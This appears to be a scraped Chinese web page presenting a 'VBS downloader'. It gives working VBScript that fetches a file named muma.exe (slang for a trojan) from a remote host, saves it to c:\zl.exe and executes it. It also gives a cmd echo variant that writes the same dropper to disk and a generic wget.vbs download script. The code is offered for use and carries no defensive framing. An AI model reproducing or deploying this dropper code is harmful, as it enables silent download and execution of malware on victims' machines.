| 标题 | VBS下载者(通过vbscript实现文件下载) |
| 内容 | 一、VBS下载者： 代码如下: Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.jbzj.com/muma.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "c:\zl.exe",2 wscript.sleep 1000 Shell.Run ("c:\zl.exe") '延迟过后执行下载文件 二、cmd下执行的版本： 代码如下: echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs echo Post.Send() >>zl.vbs echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs echo aGet.Mode = 3 >>zl.vbs echo aGet.Type = 1 >>zl.vbs echo aGet.Open() >>zl.vbs echo aGet.Write(Post.responseBody) >>zl.vbs echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs echo wscript.sleep 1000 >>zl.vbs echo Shell.Run ("c:\zl.exe") >>zl.vbs 三、wget.vbs 代码如下: on error resume next iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) iUser=LCase(Wscript.Arguments(2)) iPass=LCase(Wscript.Arguments(3)) set xPost=CreateObject("Microsoft.XMLHTTP") if iUser="" and iPass="" then xPost.Open "GET",iRemote,0 else xPost.Open "GET",iRemote,0,iUser,iPass end if xPost.Send() set sGet=CreateObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile iLocal,2 使用方法：cscript wget.vbs http://www.jbzj.com/muma.exe |
| 随便看 |
|
在线学习网考试资料包含高考、自考、专升本考试、人事考试、公务员考试、大学生村官考试、特岗教师招聘考试、事业单位招聘考试、企业人才招聘、银行招聘、教师招聘、农村信用社招聘、各类资格证书考试等各类考试资料。